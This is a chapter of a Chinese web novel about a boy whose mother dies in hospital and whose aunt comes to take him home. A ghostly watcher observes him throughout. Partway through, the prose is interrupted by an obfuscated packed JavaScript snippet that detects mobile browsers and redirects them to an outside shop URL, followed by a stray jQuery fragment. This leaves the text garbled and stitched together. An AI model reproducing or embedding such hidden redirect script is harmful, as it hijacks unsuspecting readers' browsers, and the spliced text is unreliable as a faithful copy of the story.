手术室里，空气仿佛被拧紧的湿布，沉甸甸地压在每个人胸口。消毒水味混着除颤仪电击后的焦糊味，刺得人眼眶发酸。心电监护仪的“滴——滴——”声越来越慢，偶尔拉出一声长而尖的警报，像有人拿指甲刮玻璃。
“血压掉得太快！肾上腺素第二支！”“除颤准备，200焦！”“清场！
医生几乎是吼出来的，嗓音在口罩后面闷得发哑。电击板重重压在母亲胸口，“砰”的一声，她瘦弱的身体像被无形的手猛地提起，又狠狠摔回手术床。绿线抖了一下，终究没爬回来。
“滴————”长音刺破手术室顶灯，所有人都僵在原地。
门外，走廊冷得像冰窖。
林鹤羽坐在手术室门口的长椅上，脚够不到地，小腿在空中僵直不动。母亲的手机被他抱在怀里，屏幕时亮时暗，他还在一下一下地戳开机键，像只要戳够次数，里面就会突然跳出爸爸的号码。
他不敢看那扇紧闭的门。门上的红灯仿佛一只血红的眼睛，死死盯着他。
助手又跑出来一次，口罩拉到下巴，额头全是汗：“小朋友……还是没人来吗？”
林鹤羽抬头，眼睛肿得只剩一条缝，声音哑得几乎听不见：“……没人接。”
助手咬了咬牙，转身要走，又回头蹲下来，把他冰凉的小手包进自己掌心：“你再试试这个号码，备注是‘小雪’，我刚才看见你妈妈手机里这个人的通话记录是最多的……
林鹤羽抖着手指点开那个名字。
铃声响了很久，久到他以为又要落空。
终于，电话通了。
“喂……”他一开口，嗓子就像被砂纸磨过，哭腔直接破了音，“我妈妈……她不行了……他们在手术……没人签字……阿姨你能不能来……求你了……”
电话那头先是安静了两秒，随后传来一个年轻女人的声音，带着刚睡醒似的，迷迷糊糊：“……鹤羽？阿梅她怎么了？”
“她心梗……医院说要签字……我爸爸找不到……叔叔婶婶他们都不来……”他哭得说不出一句完整的话，眼泪大滴大滴砸地掉落。
“哪个医院？我……我马上过来！”那头的声音一下子清醒了，带着慌乱的椅子挪动声，“你别怕，我打车就来！”
电话挂断后，走廊像被抽走了所有空气，只剩手术室门口那盏红灯，像一颗巨大的、跳动的心脏，悬在鹤羽头顶。
他缩在墙角最暗的那块阴影里，双臂紧紧抱着膝盖，把脸埋进去，像要把整个人都揉进那一点点黑暗里。手机被他攥得发烫，屏幕上还停在“小雪”的通话记录，时间定格在23:17。
红灯亮了整整四个小时十七分钟。
偶尔有护士推门出来，鹤羽每次都猛地抬头，嘴唇抖得想问，又不敢问，只能看着对方匆匆走远。没人停下来告诉他一句“没事”或者“再等等”。
凌晨一点零六分，红灯终于灭了。
门被推开时，发出一声长得过分的“吱呀”，像把鹤羽的神经一下扯断。
医生走出来，口罩拉到下巴，帽檐下的眼睛布满血丝。他先看了眼空荡荡的走廊，又低头看向那个小小的、缩成一团的身影。
那一刻，林鹤羽其实已经知道了。
可他还是踉跄着站起来，小小的身体晃了晃，哑着嗓子问出了那个明知答案的问题：
“……我妈妈，她好了吗？”
医生蹲下来，沉默很久，才伸手轻轻摸了摸他的头发。
“你的家人呢？等他们来再说吧。”
林鹤羽乖乖退回原位，固执地继续等待，他心里似乎已经知道结果，但他不愿意相信。
走廊尽头的窗外，天色一点点泛起灰白，夏夜最深的黑终于过去，却带不走一点寒意。
不知过了多久，那个白天帮过他的护士又来了，手里拿着一袋面包和一盒温热的牛奶。她蹲下来，把东西轻轻放在鹤羽腿边，声音轻柔：“小朋友吃点东西，好吗？”
鹤羽没动，眼睛直直盯着前方，仿佛一尊坏掉的小雕像。
护士叹了口气，刚要起身，就听见旁边太平间方向传来推床的辘辘声。两个穿白大褂低声交谈着经过：
“……送的太迟，来的时候其实就没心跳了，硬撑了四个多小时……”
“最惨的是那孩子，一个家属都没来。领导说先把遗体送太平间，别让他看见……”
声音很轻，却似两把利剑，一前一后，精准地捅进鹤羽的胸口。
走廊的灯“嗡”地一声炸开白光，像无数根针，扎进林鹤羽的眼睛里。
轰地一下，鹤羽脑子里有什么东西彻底碎裂了。
他后退两步，背脊重重撞上墙壁，整个人顺着墙慢慢滑下去，像一袋被抽空了的米。
护士伸手想扶他，却被他下意识躲开。
他摇头，疯狂地摇头，眼泪却一滴都掉不下来了，只是死死盯着手术室那扇门，仿佛只要盯得够久，母亲就会自己走出来，对他笑，像以前每一次他生病时那样，摸着他的头说“没事了，妈妈在呢”。
可门后什么动静都没有。
整个世界都安静得可怕，只剩他一个人，被留在那个再也不会有回应的夏天里。
天光从走廊尽头的窗户透进来，灰白、冰冷，像一层薄霜铺在瓷砖上。林鹤羽蜷在长椅最角落，膝盖抵着胸口，脚趾冻得发紫。泪早就流干了，脸上只剩一道道盐碱似的白痕，眼睛却红得吓人。
就在他盯着地板发呆的时候，一种奇怪的感觉突然爬上后颈。
有人在看他。
不是路过护士那种扫一眼的视线，而是一种沉甸甸的、带着温度的注视，像一只手轻轻贴在他后背，却又隔着一段谁也跨不过的距离。
他猛地抬头。
走廊空荡荡的，只有远处护士站的灯还亮着，值班护士低头写着什么。两侧的病房门都关着，空气里飘着来苏水味，连风都没有。
可那种被注视的感觉却真实得令人发慌，像有人站在他看不见的死角，用一种近乎疼痛的温柔，把他从头到脚看了一遍又一遍。
林鹤羽撑着长椅站起来，踩在冰凉的地面上，踉跄着往走廊深处走了几步，又回头张望。什么都没有。只有感应灯一盏接一盏亮起又熄灭，像谁在陪他玩一场无声的捉迷藏。
他抱了抱自己的手臂，声音哑得不像自己的：“……谁？”
没人回答。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053394|194848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那道目光却在下一秒骤然消失，像被谁硬生生掐断。徒留一阵突如其来的空荡在胸口的疼。
他呆呆地站了片刻，最终还是缩回了长椅，把脸埋进膝盖里。
就在这时，急促的脚步声从楼梯口传来。
一个娇小的女人几乎是跑着冲进走廊，短发乱糟糟的，白T恤被汗水贴在后背。她在护士站问了两句，护士朝长椅这边指了指，她立刻转身，眼眶通红地冲过来。
“你是鹤羽？”她蹲下来，声音带着浓重的鼻音，“我是小雪……你妈妈的妹妹，你叫我小雪阿姨就好。”
林鹤羽抬头，眼神空得像一口枯井。
“我爸……他一直没来。”
小雪阿姨的嘴唇抖了抖，没问下去。她伸手想摸他的头发，指尖却在半空停住，最终只是轻轻落在他肩上。
“走吧，先跟我去办手续。”
她带着他穿梭在医院冰冷的走廊里，填表、签字、去太平间最后看了一眼……所有流程都像一场漫长的噩梦。林鹤羽机械地跟着，脚底被磨破了也不觉得疼。
手续办完，天已经彻底亮了。
小雪阿姨领着他往医院大门走，阳光刺得人睁不开眼。她忽然停下脚步，蹲下来与他平视，声音轻得像怕惊碎什么：
“鹤羽，我是你妈妈的亲妹妹……这些年我们联系很少，可她以前给我发过你的照片，说你长得越来越像她。”
她说到这里，眼泪又掉下来，砸在滚烫的水泥地上，瞬间不见。
“我姐脾气倔，跟我爸吵翻后就再没回过家……我做梦都没想到，再见她会是在太平间。”
她哽咽着抱住鹤羽入怀，瘦小的肩膀抖得厉害。鹤羽僵了半秒，也终于崩溃般抱回去，哭得撕心裂肺，像要把这辈子所有的眼泪一次流完。
哭够了，小雪阿姨抹了把脸，掏出手机拨通一个号码。
“爸，是我。……对，乔梅走了，今天凌晨，心梗，没抢救过来。
电话那头沉默得可怕，连呼吸声都听不见。
她挂了电话，低头看着鹤羽：“以后你跟我走，先回章市。你妈妈的后事我会处理好。”
林鹤羽点点头，像个机械动作。
小雪牵着他的手往医院外走。六月的阳光炙热
而明亮，天空蓝得晃眼，没有一丝云。
可林鹤羽回头看了一眼医院大楼，
就在三楼靠左的窗户后面，他又一次清晰地感觉到那道目光。
沉重、炽热、带着几乎要烧起来的痛惜，隔着玻璃和阳光，一动不动地落在自己身上。
他下意识停下脚步，朝那个方向看去。
窗帘轻轻晃了一下，像被风吹的，又像有人迅速躲开了。
等他眨眨眼，窗户后面已经空无一物。
只有阳光照在玻璃上，反出一片刺眼的白。
“怎么了？”小雪阿姨回头问他。
林鹤羽摇摇头，声音哑得几乎听不见：
“……没什么。”
他被牵着继续往前走，瘦小的背影很快消失在人来人往的街口。
而医院大楼的三楼，那扇窗的阴影里，一道高大的身影缓缓从黑暗中退开。